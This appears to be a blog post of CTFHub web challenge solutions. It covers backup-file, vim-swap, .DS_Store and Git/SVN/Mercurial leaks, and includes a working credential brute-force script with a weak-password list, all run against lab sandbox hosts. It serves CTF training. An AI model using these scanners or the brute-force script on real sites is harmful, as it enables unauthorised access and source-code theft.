CTFHUB Web题解记录(信息泄露、弱口令部分)_ctf赛题web弱口令-程序员宅基地

技术标签: python  CTF  CTFHUB  Python  

以下内容只是自己做题的一个记录,不喜勿喷;如有侵权,请私信我,我会及时处理

目录

一、信息泄露

1、目录遍历

2、PHPINFO

3、备份文件下载

4、Git泄露

5、SVN

6、HG泄露

二、密码口令

1、弱口令


一、信息泄露

1、目录遍历

这里通过观察目录的情况,发现目录都是 /flag_in_here/1/%d 的样式,于是构造脚本

 #!/usr/bin/python3
 # -*- coding: utf-8 -*- 
 # --author:valecalida--
 import urllib.request
 num_list = [i+1 for i in range(4)]
 ​
 for i in num_list:
     try:
         res = urllib.request.urlopen("http://challenge-c127326ad3ea6854.sandbox.ctfhub.com:10080/flag_in_here/1/%d/flag.txt" % num_list[i])
     except BaseException as e:
         pass
     else:
         print(res.read().decode('utf-8'))

运行得到的结果是

 ctfhub{1987f2dcecfe6cc28241015c225ce28c33aef1f7}

2、PHPINFO

由于题目提示页面中将会直接出现flag,所以直接构建脚本

 #!/usr/bin/python3
 # -*- coding: utf-8 -*- 
 # --author:valecalida--
 import urllib.request
 import urllib.request
 import re
 rr = re.compile(r'\bctfhub{.*}', re.I)
 res = urllib.request.urlopen("http://challenge-44154573da4f5713.sandbox.ctfhub.com:10080/phpinfo.php")
 res_content = res.read().decode('utf-8')
 print(rr.findall(res_content))

运行得到的结果是

 ['ctfhub{ba9c6833ed8b3648bdf86f7ea27c684237ce265e}', 'ctfhub{ba9c6833ed8b3648bdf86f7ea27c684237ce265e}']

3、备份文件下载

3.1、网站源码

当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。

 #!/usr/bin/python3
 # -*- coding: utf-8 -*- 
 # --author:valecalida--
 import urllib.request, urllib.parse
 import zipfile, os
 import re
 rr = re.compile(r'\bctfhub{.*}', re.I)
 ​
 ​
 def unzip_file(zip_src, dst_dir):
     r = zipfile.is_zipfile(zip_src)
     if r:
         fz = zipfile.ZipFile(zip_src, 'r')
         for file in fz.namelist():
             fz.extract(file, dst_dir)
     else:
         print('看起来解压的过程中出现了一点问题')
 ​
 ​
 name_list1 = ['rar', 'tar.gz', 'tar', 'zip']
 name_list2 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
 name_list = []
 for name1 in name_list1:
     for name2 in name_list2:
         name_list.append(name2 + "." + name1)
 ​
 for names in name_list:
     try:
         res = urllib.request.urlopen('http://challenge-784af2e1b6c52d01.sandbox.ctfhub.com:10080/%s' %names)
     except BaseException as e:
         pass
     else:
         print("检测到了%s" %names, "正在下载...")
         f = open(names, 'wb')
         f.write(res.read())
         f.close()
         print("下载完成")
         zip_src = os.getcwd() + "\\" + names
         dst_dir = os.getcwd()
         unzip_file(zip_src,dst_dir)
         print("解压完成")
         for name_dir in os.listdir():
             try:
                 resp = urllib.request.urlopen('http://challenge-784af2e1b6c52d01.sandbox.ctfhub.com:10080/%s' %name_dir)
             except BaseException as e:
                 pass
             else:
                 res_content = resp.read().decode('utf-8')
                 if len(res_content) >= 60:
                     continue
                 else:
                     print("获取到的flag为:%s" %res_content)
                     break

运行得到的结果是

 检测到了www.zip 正在下载...
 下载完成
 解压完成
 获取到的flag为:ctfhub{a0f7e3a2630c76950dbceb4bad4f088cfd2efcb7}

3.2、bak文件

当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。

 #!/usr/bin/python3
 # -*- coding: utf-8 -*- 
 # --author:valecalida--
 import urllib.request as ur
 import re
 rr = re.compile(r'\bctfhub{.*}', re.I)
 ​
 res = ur.urlopen('http://challenge-9b444eeda7f6a455.sandbox.ctfhub.com:10080/index.php.bak')
 res_content = res.read().decode('utf-8')
 ​
 print(str(rr.findall(res_content))[2:-2])

运行得到的结果是

 ctfhub{2235cea3ec81eb9569f4604251fe8a7120b95049}

3.3、vim缓存

当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。

通常 vim 的备份文件有:

  1. .filename.swp

  2. filename~

  3. .filename.un.~

 #!/usr/bin/python3
 # -*- coding: utf-8 -*- 
 # --author:valecalida--
 import urllib.request as ur, urllib.parse
 import zipfile, os
 import re
 rr = re.compile(r'\bctfhub{.*}', re.I)
 ​
 ​
 res = ur.urlopen('http://challenge-5aa8b1e1be6c5d78.sandbox.ctfhub.com:10080/.index.php.swp')
 print(str(rr.findall(str(res.read())))[2:-2])

运行得到的结果是

 ctfhub{67e244df614a707bf252d60711afef3767e41492}

3.4、.DS_Store

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

这里通过下面的地址直接获取到文件

 http://challenge-3092fd23a1d60f94.sandbox.ctfhub.com:10080/.DS_Store

然后通过Linux命令获取文件内容

 xxd -p DS_Store | sed 's/00//g' | tr -d '\n' | sed 's/\([0-9A-F]\{2\}\)/0x\1 /g' | xxd -r -p | strings | sed 's/ptb[LN]ustr//g'

得到的结果如下

 Bud1
 DSDB
 $e536ae211065e6cb535b1a8080a2baa3.txtnoteustr
 flag here!

接着构建脚本

 #!/usr/bin/python3
 # -*- coding: utf-8 -*- 
 # --author:valecalida--
 import urllib.request as ur
 res = ur.urlopen('http://challenge-3092fd23a1d60f94.sandbox.ctfhub.com:10080/e536ae211065e6cb535b1a8080a2baa3.txt')
 print(res.read().decode('utf-8'))

运行得到的结果是

 ctfhub{b00feb505c3f4e6df73d8612c76bd5deb5aa4475}

4、Git泄露

4.1、Log

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

 ➜  GitHack-master python GitHack.py http://challenge-426b1b2da4ddd315.sandbox.ctfhub.com:10080/.git/
 ​
   ____ _ _   _   _            _
  / ___(_) |_| | | | __ _  ___| | __
 | |  _| | __| |_| |/ _` |/ __| |/ /
 | |_| | | |_|  _  | (_| | (__|   <
  \____|_|\__|_| |_|\__,_|\___|_|\_\{0.0.5}
  A '.git' folder disclosure exploit.
 ​
 [*] Check Depends
 [+] Check depends end
 [*] Set Paths
 [*] Target Url: http://challenge-426b1b2da4ddd315.sandbox.ctfhub.com:10080/.git/
 [*] Initialize Target
 [*] Try to Clone straightly
 [*] Clone
 Cloning into '/mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist/challenge-426b1b2da4ddd315.sandbox.ctfhub.com_10080'...
 fatal: repository 'http://challenge-426b1b2da4ddd315.sandbox.ctfhub.com:10080/.git/' not found
 [-] Clone Error
 [*] Try to Clone with Directory Listing
 [*] http://challenge-426b1b2da4ddd315.sandbox.ctfhub.com:10080/.git/ is not support Directory Listing
 [-] [Skip][First Try] Target is not support Directory Listing
 [*] Try to clone with Cache
 [*] Initialize Git
 [*] Cache files
 [*] packed-refs
 [*] config
 [*] HEAD
 [*] COMMIT_EDITMSG
 [*] ORIG_HEAD
 [*] FETCH_HEAD
 [*] refs/heads/master
 [*] refs/remote/master
 [*] index
 [*] logs/HEAD
 [*] logs/refs/heads/master
 [*] Fetch Commit Objects
 [*] objects/b5/aa9e47f5f2a2b02e23da913c5137976e36a716
 [*] objects/01/2ae1fc6b838a345b689ae6bb4ec0edfd517a64
 [*] objects/90/f6b210fccb96c831fb0149bd777d02f2fdc5b9
 [*] objects/9d/aceca66ad6be96b31ab966d60ca6e6beb02ebb
 [*] objects/90/71e0a24f654c88aa97a2273ca595e301b7ada5
 [*] objects/2c/59e3024e3bc350976778204928a21d9ff42d01
 [*] objects/ba/69d13b39c28abea7f0f7865d83d8cb6aa83b10
 [*] objects/ac/48499ac2bda260e59471019e8506a71980f5a2
 [*] Fetch Commit Objects End
 [*] logs/refs/remote/master
 [*] logs/refs/stash
 [*] refs/stash
 [*] Valid Repository
 [+] Valid Repository Success
 ​
 [+] Clone Success. Dist File : /mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist/challenge-426b1b2da4ddd315.sandbox.ctfhub.com_10080

然后进入到响应的文件夹查看git log

 ➜  GitHack-master cd dist/challenge-426b1b2da4ddd315.sandbox.ctfhub.com_10080
 ➜  challenge-426b1b2da4ddd315.sandbox.ctfhub.com_10080 git:(master) ✗ git log

运行得到的结果如下

 commit b5aa9e47f5f2a2b02e23da913c5137976e36a716 (HEAD -> master)
 Author: CTFHub <[email protected]>
 Date:   Sun Mar 15 12:54:22 2020 +0000
 ​
     remove flag
 ​
 commit 90f6b210fccb96c831fb0149bd777d02f2fdc5b9
 Author: CTFHub <[email protected]>
 Date:   Sun Mar 15 12:54:22 2020 +0000
 ​
     add flag
 ​
 commit ba69d13b39c28abea7f0f7865d83d8cb6aa83b10
 Author: CTFHub <[email protected]>
 Date:   Sun Mar 15 12:54:22 2020 +0000
 ​
     init
 (END)

当前所处的版本为 remove flag,flag 在 add flag,我们就要切换版本

 ➜  challenge-426b1b2da4ddd315.sandbox.ctfhub.com_10080 git:(master) ✗ git reset --hard 90f6
 HEAD is now at 90f6b21 add flag
 ➜  challenge-426b1b2da4ddd315.sandbox.ctfhub.com_10080 git:(master) ✗ ll
 total 0
 -rwxrwxrwx 1 kali kali  49 Mar 15 21:05 298682056511664.txt
 -rwxrwxrwx 1 kali kali 494 Mar 15 21:05 50x.html
 -rwxrwxrwx 1 kali kali 143 Mar 15 21:05 index.html
 ➜  challenge-426b1b2da4ddd315.sandbox.ctfhub.com_10080 git:(master) ✗ cat 298682056511664.txt
 ctfhub{f0aa23ed987f7f88905579799a5f7da12f6cc491}

 

4.2、Stash

 ➜  GitHack-master python GitHack.py http://challenge-bcc954ebd1926525.sandbox.ctfhub.com:10080/.git/
 ​
   ____ _ _   _   _            _
  / ___(_) |_| | | | __ _  ___| | __
 | |  _| | __| |_| |/ _` |/ __| |/ /
 | |_| | | |_|  _  | (_| | (__|   <
  \____|_|\__|_| |_|\__,_|\___|_|\_\{0.0.5}
  A '.git' folder disclosure exploit.
 ​
 [*] Check Depends
 [+] Check depends end
 [*] Set Paths
 [*] Target Url: http://challenge-bcc954ebd1926525.sandbox.ctfhub.com:10080/.git/
 [*] Initialize Target
 [*] Try to Clone straightly
 [*] Clone
 Cloning into '/mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist/challenge-bcc954ebd1926525.sandbox.ctfhub.com_10080'...
 fatal: repository 'http://challenge-bcc954ebd1926525.sandbox.ctfhub.com:10080/.git/' not found
 [-] Clone Error
 [*] Try to Clone with Directory Listing
 [*] http://challenge-bcc954ebd1926525.sandbox.ctfhub.com:10080/.git/ is not support Directory Listing
 [-] [Skip][First Try] Target is not support Directory Listing
 [*] Try to clone with Cache
 [*] Initialize Git
 [*] Cache files
 [*] packed-refs
 [*] config
 [*] HEAD
 [*] COMMIT_EDITMSG
 [*] ORIG_HEAD
 [*] FETCH_HEAD
 [*] refs/heads/master
 [*] refs/remote/master
 [*] index
 [*] logs/HEAD
 [*] logs/refs/heads/master
 [*] Fetch Commit Objects
 [*] objects/67/6ee2ab05e4e9190d1eb94e035ad00b23e6db3d
 [*] objects/01/2ae1fc6b838a345b689ae6bb4ec0edfd517a64
 [*] objects/a3/b071375bbc6d7315c553d28efc9ddd16c79cbe
 [*] objects/8a/3f858443df92e83814ad7d6340c786c1dbafaf
 [*] objects/90/71e0a24f654c88aa97a2273ca595e301b7ada5
 [*] objects/2c/59e3024e3bc350976778204928a21d9ff42d01
 [*] objects/0d/3c5e077dbbc36f7fc5fe0812c5d07173595749
 [*] objects/e3/58b09f4cb4e5800dd20e1aa6758bf80811001a
 [*] Fetch Commit Objects End
 [*] logs/refs/remote/master
 [*] logs/refs/stash
 [*] refs/stash
 [*] Fetch Commit Objects
 [*] objects/06/36184b6082890f325e44990c6805a70f1dd06b
 [*] objects/2d/78a2c68cc4d62aac1d07f4321a7d0385e026a6
 [*] objects/e0/8222e5d2f251eb14754ed3b40d9a1ef2f639ed
 [*] objects/6c/dfa192a6458d5c5611fe5eb44338b77d712bf2
 [*] Fetch Commit Objects End
 [*] Valid Repository
 [+] Valid Repository Success
 ​
 [+] Clone Success. Dist File : /mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist/challenge-bcc954ebd1926525.sandbox.ctfhub.com_10080

然后

 ➜  GitHack-master cd dist/challenge-bcc954ebd1926525.sandbox.ctfhub.com_10080
 ➜  challenge-bcc954ebd1926525.sandbox.ctfhub.com_10080 git:(master) ✗ git stash list
 stash@{0}: WIP on master: a3b0713 add flag
 #可以看到栈中有内容,直接弹出
 ➜  challenge-bcc954ebd1926525.sandbox.ctfhub.com_10080 git:(master) ✗ git stash pop
 CONFLICT (modify/delete): 2677036325324.txt deleted in Updated upstream and modified in Stashed changes. Version Stashed changes of 2677036325324.txt left in tree.
 The stash entry is kept in case you need it again.
 ➜  challenge-bcc954ebd1926525.sandbox.ctfhub.com_10080 git:(master) ✗ cat 2677036325324.txt
 ctfhub{69ad3cdc7bae528787ead797f0ce24c24a2613fc}

 

4.3、index

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

 ➜  GitHack-master python GitHack.py http://challenge-858daa56ad3a890b.sandbox.ctfhub.com:10080/.git
 ​
   ____ _ _   _   _            _
  / ___(_) |_| | | | __ _  ___| | __
 | |  _| | __| |_| |/ _` |/ __| |/ /
 | |_| | | |_|  _  | (_| | (__|   <
  \____|_|\__|_| |_|\__,_|\___|_|\_\{0.0.5}
  A '.git' folder disclosure exploit.
 ​
 [*] Check Depends
 [+] Check depends end
 [*] Set Paths
 [*] Target Url: http://challenge-858daa56ad3a890b.sandbox.ctfhub.com:10080/.git/
 [*] Initialize Target
 [*] Try to Clone straightly
 [*] Clone
 Cloning into '/mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist/challenge-858daa56ad3a890b.sandbox.ctfhub.com_10080'...
 fatal: repository 'http://challenge-858daa56ad3a890b.sandbox.ctfhub.com:10080/.git/' not found
 [-] Clone Error
 [*] Try to Clone with Directory Listing
 [*] http://challenge-858daa56ad3a890b.sandbox.ctfhub.com:10080/.git/ is not support Directory Listing
 [-] [Skip][First Try] Target is not support Directory Listing
 [*] Try to clone with Cache
 [*] Initialize Git
 [*] Cache files
 [*] packed-refs
 [*] config
 [*] HEAD
 [*] COMMIT_EDITMSG
 [*] ORIG_HEAD
 [*] FETCH_HEAD
 [*] refs/heads/master
 [*] refs/remote/master
 [*] index
 [*] logs/HEAD
 [*] logs/refs/heads/master
 [*] Fetch Commit Objects
 [*] objects/28/24e1bbf84973508284fdb7e401b068d36ee5e9
 [*] objects/f4/a95a1573c72e0ac3be354b13e7f7707d730384
 [*] objects/be/0651e066fd7424d5469d34872219d0750469f9
 [*] objects/01/2ae1fc6b838a345b689ae6bb4ec0edfd517a64
 [*] objects/26/3f2708ef410c0e91c4bd6985ecaedd2a4a04c7
 [*] objects/90/71e0a24f654c88aa97a2273ca595e301b7ada5
 [*] objects/2c/59e3024e3bc350976778204928a21d9ff42d01
 [*] Fetch Commit Objects End
 [*] logs/refs/remote/master
 [*] logs/refs/stash
 [*] refs/stash
 [*] Valid Repository
 [+] Valid Repository Success
 ​
 [+] Clone Success. Dist File : /mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist/challenge-858daa56ad3a890b.sandbox.ctfhub.com_10080

查看一下就得到flag了

 ➜  GitHack-master cd /mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist/challenge-858daa56ad3a890b.sandbox.ctfhub.com_10080
 ➜  challenge-858daa56ad3a890b.sandbox.ctfhub.com_10080 git:(master) ✗ ll
 total 0
 -rwxrwxrwx 1 kali kali  49 Mar 15 20:50 213531131228420.txt
 -rwxrwxrwx 1 kali kali 494 Mar 15 20:50 50x.html
 -rwxrwxrwx 1 kali kali 143 Mar 15 20:50 index.html
 ➜  challenge-858daa56ad3a890b.sandbox.ctfhub.com_10080 git:(master) ✗ cat 213531131228420.txt
 ctfhub{8e1d7681a1a66c8b74d5a1b20b3a6b0d920589e2}

5、SVN

当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。

 ➜  dvcs-ripper-master sudo perl rip-svn.pl -u http://challenge-c523a500b40f2829.sandbox.ctfhub.com:10080/.svn/
 [i] Found new SVN client storage format!
 REP INFO => 1:file:///opt/svn/ctfhub:e43e7ef8-82fb-4194-9673-81c29de69c33
 [i] Trying to revert the tree, if you get error, upgrade your SVN client!
 Reverted 'index.html'
 ➜  dvcs-ripper-master ll -a
 total 80K
 drwxrwxrwx 1 kali kali 4.0K Mar 15 21:24 .
 drwxrwxrwx 1 kali kali 4.0K Mar 15 21:21 ..
 -rwxrwxrwx 1 kali kali  149 Oct 22  2018 .gitignore
 -rwxrwxrwx 1 kali kali 3.8K Oct 22  2018 hg-decode.pl
 -rwxrwxrwx 1 kali kali  221 Mar 15 21:24 index.html
 -rwxrwxrwx 1 kali kali  18K Oct 22  2018 LICENSE
 -rwxrwxrwx 1 kali kali 5.5K Oct 22  2018 README.md
 -rwxrwxrwx 1 kali kali 6.3K Oct 22  2018 rip-bzr.pl
 -rwxrwxrwx 1 kali kali 4.7K Oct 22  2018 rip-cvs.pl
 -rwxrwxrwx 1 kali kali  15K Oct 22  2018 rip-git.pl
 -rwxrwxrwx 1 kali kali 6.0K Oct 22  2018 rip-hg.pl
 -rwxrwxrwx 1 kali kali 6.1K Oct 22  2018 rip-svn.pl
 drwxrwxrwx 1 kali kali 4.0K Mar 15 21:24 .svn
 #发现生成了.svn这个目录,可以继续查看
 ➜  dvcs-ripper-master tree .svn
 .svn
 ├── entries
 ├── format
 ├── pristine
 │   ├── bf
 │   │   └── bf45c36a4dfb73378247a6311eac4f80f48fcb92.svn-base
 │   └── c4
 │       └── c4b3e18fe09fc3a63ec12c483c84012537bb5f2c.svn-base
 ├── text-base
 ├── tmp
 ├── wc.db
 └── wc.db-journal
 ➜  pristine cat c4/c4b3e18fe09fc3a63ec12c483c84012537bb5f2c.svn-base bf/bf45c36a4dfb73378247a6311eac4f80f48fcb92.svn-base
 ctfhub{1be4627619f2fd32babf97c15c0c93b1ce342934}
 <html>
 ​
 <head>
     <meta charset="UTF-8" />
     <title>CTFHub 信息泄露 SVN</title>
 </head>
 ​
 <body>
     <h1>信息泄露 - Subversion</h1>
     <br/>
     <p>Flag 在服务端旧版本的源代码中</p>
 </body>
 ​
 </html>%

得到了flag

 ctfhub{1be4627619f2fd32babf97c15c0c93b1ce342934}

6、HG泄露

当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。

   dvcs-ripper-master sudo perl rip-hg.pl -u http://challenge-cf7c8f19e3e86d74.sandbox.ctfhub.com:10080/.hg/
 [i] Getting correct 404 responses
 [i] Finished (2 of 12)
 ➜  dvcs-ripper-master cd .hg
 ➜  .hg tree
 .
 ├── 00changelog.i
 ├── dirstate
 ├── last-message.txt
 ├── requires
 ├── store
 │   ├── 00changelog.i
 │   ├── 00manifest.i
 │   ├── data
 │   │   ├── 50x.html.i
 │   │   └── index.html.i
 │   ├── fncache
 │   └── undo
 ├── undo.branch
 ├── undo.desc
 ├── undo.dirstate
 └── wcache
     ├── checklink -> checklink-target
     └── checklink-target
 ​
 3 directories, 15 files
 ➜  .hg cat store/*
 ••or��������� (
                ���$•!�|���M�x�-�A
 kx�•ɻtv••����e�����!β�•^:"(��_•I•,•�B֋R•�•F�-kD�H;���;��J�9��T�����uH{'�!�hM�TR•Y�5�•�••�>��
 •1•@�>_�/X�L•DDa��^�A�PS��|���=�ȠXr•I   �9)5�•���x!•(�!��}��|���۰��•��Iz}�<I�•���•�•�u�����nw�>���n
                                                                                                    ������" ••Yf��������H•�tw•��•���m'�Ȉ�*x�-�1•�@�>�@)-<�••M������x�1<�v�Ǣ�2K)•{�Z3�s�&ӱ•f•A����?6[�B�
                                                                                6�•Ta�(��1$�Ü•*YI�•����;]xf$�|��z����uX�T22=flag_1027926131.txt52ec47b45f42236237d78a46be594c753f4754c7
 cat: store/data: Is a directory
 data/index.html.i
 data/50x.html.i
 data/flag_1027926131.txt.i
 data/flag_1027926131.txt.i0
 00manifest.i153
 00changelog.i175

然后使用命令

 ➜  .hg curl http://challenge-cf7c8f19e3e86d74.sandbox.ctfhub.com:10080/flag_1027926131.txt
 ctfhub{7858c2fb14bc35af6870bfecaa93fce0a4e7269b}

二、密码口令

1、弱口令

 大部分的场景下,用户登陆都是POST请求提交表单,所以这里也用Python3模拟提交一下表单,然后获取登陆后的响应界面

#!/usr/bin/python3
# -*- coding: utf-8 -*- 
# --author:valecalida--
import requests
import re
import sys
f = open('Top100.txt', 'r')
content = []
for line in f.readlines():
    content.append(line.strip())
pattern = '.*(ctfhub\{.*\})'
for username in content:
    for password in content:
        data = {
            'name': username,
            'password': password,
            'referer': ''
        }
        res = requests.post(url="http://challenge-2f3b16498078855d.sandbox.ctfhub.com:10080", data=data)
        flag = re.findall(pattern, res.text)
        if len(str(flag)) >= 32:
            print("获取到flag的账号是:%s 密码是:%s flag为:%s" %(username, password, flag[0]))
            sys.exit()
        else:
            print("正在尝试的账户名是:%s 密码是:%s" % (username, password))

这里给出弱口令里面最好要有的几个(为了做题的话)

tiger、admin888、123456、password、admin、admin123

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/valecalida/article/details/104953087

智能推荐

JAVA实现Linux网卡绑定_Linux双网卡绑定脚本的方法示例-程序员宅基地

文章浏览阅读209次。linux运维及配置工作中,常常会用到双网卡绑定,少数几台服务器的配置还好,如果是需要配置几十甚至上百台,难免会枯燥乏味,易于出错,我编写了这个双网卡绑定的辅助脚本,可傻瓜式地完成linux双网卡绑定工作,当然,该脚本主要还是用于小批量的系统配置,如需配置大量的服务器,可提取脚本中的bonding函数,稍作修改即可,你值得一试!1.适用范围该shell脚本可在以下linux系统创建多个绑定网卡,用..._java master网卡

2023年华数杯赛题浅析_隔热材料的结构优化控制研究-程序员宅基地

文章浏览阅读2.5k次。为了方便大家跟更好的选题,这里首先对华数杯的三道题目进行简要浅析,分析三个问题未来做题阶段可能遇到的难点,已经可能涉及所需要的数模知识。问题二根据给出的数据建立优化模型,以整体热导率为目标函数,单根A纤维的直径及调整织物的经密、纬密、弯曲角度等作为约束条件进行求解​;问题三,问题二优化模型的延深,引入新的条件进行求解。该题,为纯粹的优化类型题目,因此对于大家的优化模型掌握能力是个考验。与目标样的色差最接近为目标,构建优化模型​,约束条件有色差要求等等;问题四,依旧是问题二三优化模型的深入,寻找。_隔热材料的结构优化控制研究

TCP/IP 端口号大全_ldap端口363-程序员宅基地

文章浏览阅读4.3k次,点赞2次,收藏8次。*备查之用 *本贴连接 http://www.douban.com/group/topic/7647051 1 tcpmux TCP 端口服务多路复用 5 rje 远程作业入口 7 echo Echo 服务 9 discard 用于连接测试的空服务 11 systat 用于列举连接了的端口的系统状态 13 daytime 给请求主机发送日期和时间 17 qo_ldap端口363

【Hyper-V】1.在Windows11启用Hyper-V_win11 hyper-v-程序员宅基地

文章浏览阅读6.7k次,点赞3次,收藏14次。Hyper-V是微软提出的一种系统管理程序虚拟化技术,能够实现桌面虚拟化,让用户在windows系统上以虚拟机的方式使用多个不同的操作系统。_win11 hyper-v

私有化部署-程序员宅基地

文章浏览阅读7.5k次。私有化部署_私有化部署

github action 基于个人项目实践_github action实战-程序员宅基地

文章浏览阅读1.4k次。自动化构建自己的服务_github action实战

随便推点

空间数据分析知识点_geray c-程序员宅基地

文章浏览阅读9.6k次,点赞9次,收藏102次。【转】http://blog.sina.com.cn/s/blog_54388b8301011cxp.html空间数据分析 1. 空间分析:(spatial analysis,SA)是基于地理对性的位置和形态特征的空间数据分析技术,其目的在于提取和传输空间信息,是地理信息系统的主要特征,同时也是评价一个地理信息系统功能的主要指标之一,是各类综合性地学分析模型的基础,_geray c

IntelliJ Idea 常用11款插件(提高开发效率),附优秀主题插件_idea 像西红柿插件-程序员宅基地

文章浏览阅读679次。插件安装方式:新版本IDE安装方式略有不同,不一一赘述1、Background Image Plus这款插件并不能直接提高你的开发效率,但是可以让你面对的IDE不再单调,当把背景设置成你自己心仪的的图片,是不是会感觉很赏心悦目,编码效率会不会因此间接的提高?!使用方法:注意,如果是IDEA版本是2020.1版本以上就不需要再额外装这个插件,这个插件是已经内置安装了。2、Mybatis Log PluginMybatis现在是java中操作数据库的首选,在开发..._idea 像西红柿插件

java ajax实现增删改查,03.bootstrap+Ajax+SSM(maven搭建)实现增删改查-程序员宅基地

文章浏览阅读666次。功能点:分页数据校验ajaxRest风格的URI:使用HTTP协议请求方式的动词,来表示对资源的操作(GET(查询),POST(新增),PUT(修改),DELETE(删除))技术点基础框架-ssm数据库mysql前端框架-bootstrap项目依赖 -Maven分页 -pagehelper逆向工程-Mybatis Generator实现效果添加按钮弹出模态框编辑按钮弹出模态框删除基础环境搭建1)新..._ssmajax删除

Oracle 如何使用时间日期字段计算时间差_oracle sql 查询的日期差8小时-程序员宅基地

文章浏览阅读1k次。Oracle 如何使用时间日期字段计算时间差因为业务需要计算耗时,在检查数据库的时候发现时间是分成两个字段来存储的,日期和时间,字段类型都是字符串。思路:将两个字符串连接起来,通过TO_DATE转换成时间,TO_NUMBER将两个时间差转为数值。得到的结果是以‘天’为单位。TO_NUMBER(TO_DATE((WC.OPERATEDATE || ’ ’ || WC.OPERATETIME),..._oracle sql 查询的日期差8小时

Vuex报错:[vuex] must call Vue.use(Vuex) before creating a store instance.解决方法-程序员宅基地

文章浏览阅读1.2k次。Vuex报错:[vuex] must call Vue.use(Vuex) before creating a store instance._[vuex] must call vue.use(vuex) before creating a store instance.

java中类、对象、实例的关系_java类和实例的关系-程序员宅基地

文章浏览阅读1w次,点赞4次,收藏13次。java中类、对象、实例的关系 (刚刚接触java,难免有许多错误,欢迎指正) java作为面向对象编程语言,作为初学者首先要分清类、对象、实例之间的关系是必要的。 正所谓物以类聚,类就是一些具有某些相同特性的“物”的集合,比如“人”这样的类,每个人都有姓名、年龄、性别等特性。对象就是某一个人,比如说“张三”,“人”这个类是很多的像“张三”、“李四”这样的对象的集合。对象是一个抽象的概念_java类和实例的关系

推荐文章

热门文章

相关标签